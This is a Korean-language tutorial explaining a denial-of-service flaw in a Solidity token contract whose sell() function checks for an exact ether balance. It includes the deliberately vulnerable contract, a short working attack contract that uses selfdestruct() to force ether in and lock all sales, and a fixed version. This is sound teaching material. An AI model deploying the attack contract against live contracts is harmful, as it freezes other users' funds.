번역 및 내용을 추가하여 작성하였습니다.
다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.
Smart Contract에서 발견할 수 있는 보안 취약점을 이용하여, 공격자가 특정 Smart Contract의 잔액을 부적절하게 변경하는 방법에 대해 설명합니다.
아래 코드는 “InsecureMoonToken” Contract를 보여줍니다.
MOON Token은 소수점이 0인 분할 불가능한 토큰입니다. 사용자는 1, 2, 3 또는 46개의 MOON Token을 구매, 판매 또는 전송할 수 있지만 33.5개의 MOON Token은 전송할 수 없습니다.
분할 할 수 없다는 특성 외에도 MOON Token은 ETH 가격에 고정된 스테이블 코인입니다. 1 MOON Token은 항상 1 ETH의 가치가 있습니다.
pragma solidity 0.8.17;
contract InsecureMoonToken {
mapping (address => uint256) private userBalances;
uint256 public constant TOKEN_PRICE = 1 ether;
string public constant name = "Moon Token";
string public constant symbol = "MOON";
// The token is non-divisible
// You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
uint8 public constant decimals = 0;
uint256 public totalSupply;
function buy(uint256 _amount) external payable {
require(
msg.value == _amount * TOKEN_PRICE,
"Ether submitted and Token amount to buy mismatch"
);
userBalances[msg.sender] += _amount;
totalSupply += _amount;
}
function sell(uint256 _amount) external {
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
totalSupply -= _amount;
(bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
require(success, "Failed to send Ether");
assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
}
function transfer(address _to, uint256 _amount) external {
require(_to != address(0), "_to address is not valid");
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
userBalances[_to] += _amount;
}
function getEtherBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
}
Buy()
함수를 통해 해당 ETH 수에 해당하는 Moon Token을 구매할 수 있습니다.Sell()
함수를 통해 Moon Token을 판매하고, Transfer()
함수를 통해 Moon Token을 전송하고 getUserBalance()
함수를 통해 잔액을 확인하고 getEtherBalance()
함수를 통해 Contract에 잠긴 ETH의 총 개수를 얻을 수 있습니다.sell()
함수는 assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
문을 사용하여 “InsecureMoonToken” Contract의 ETH가 항상 Moon Token의 총 공급량과 같아야함을 엄격히 증명합니다. 이 assertion은 Contract가 가진 ETH의 수와 Moon Token의 총 공급량과 균형을 이루도록 보장하기 위해 사용합니다.Sell()
함수처럼 Contract의 ETH 잔고에 의존하는 것은 공격에 노출되기 쉽습니다.assert(getEtherBalance()….);
부분은 항상 거짓으로 평가되어 모든 Sell Transaction이 취소됩니다.receive()
, fallback()
를 구현하지 않았기 때문에 ETH를 받을 수 없습니다.Solidity에서는 Contract Address의 bytecode를 제거하기 위해 selfdestruct()
라는 특수 함수가 있습니다. (블록체인 네트워크에서 Contract를 제거하는 함수)
selfdestruct()
함수 두 가지 기능이 있습니다.
selfdestruct()
함수는 “InsecureMoonToken” Contract에 receive()
, fallback()
함수를 구현하지 않은 Contract도 ETH를 강제로 전송할 수 있도록 합니다.
pragma solidity 0.8.17;
contract Attack {
address immutable moonToken;
constructor(address _moonToken) {
moonToken = _moonToken;
}
function attack() external payable {
require(msg.value != 0, "Require some Ether to attack");
address payable target = payable(moonToken);
selfdestruct(target);
}
}
공급된 ETH는 selfdestruct()
함수를 통해 “InsecureMoonToken” Contract로 강제로 전송됩니다. 그러면 모든 sell()
Transaction이 되돌려져 “InsecureMoonToken” Contract에 대한 denial-of-service(서비스 거부 공격)으로 이어집니다.
그림에서 볼 수 있듯이 2명의 사용자가 55 ETH로 55개의 Moon Token을 구매했습니다.
그러나 공격자가 1 wei를 강제로 “InsecureMoonToken” Contract로 전송한 후, 사용자들은 더 이상 Moon Token을 판매하지 못하게 되었습니다.
구매는 가능하지만 판매는 불가능한 Contract가 되었습니다.
pragma solidity 0.8.17;
contract FixedMoonToken {
mapping (address => uint256) private userBalances;
uint256 public constant TOKEN_PRICE = 1 ether;
string public constant name = "Moon Token";
string public constant symbol = "MOON";
// The token is non-divisible
// You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
uint8 public constant decimals = 0;
uint256 public totalSupply;
function buy(uint256 _amount) external payable {
require(
msg.value == _amount * TOKEN_PRICE,
"Ether submitted and Token amount to buy mismatch"
);
userBalances[msg.sender] += _amount;
totalSupply += _amount;
}
function sell(uint256 _amount) external {
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
totalSupply -= _amount;
(bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
require(success, "Failed to send Ether");
// FIX: Do not rely on address(this).balance. If necessary, however,
// apply assert(address(this).balance >= totalSupply * TOKEN_PRICE); instead
assert(getEtherBalance() >= totalSupply * TOKEN_PRICE);
}
function transfer(address _to, uint256 _amount) external {
require(_to != address(0), "_to address is not valid");
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
userBalances[_to] += _amount;
}
function getEtherBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
}
==
기호 대신 >=
를 사용하여 “FixedMoonToken” Contract의 assertion 문제를 해결할 수 있습니다.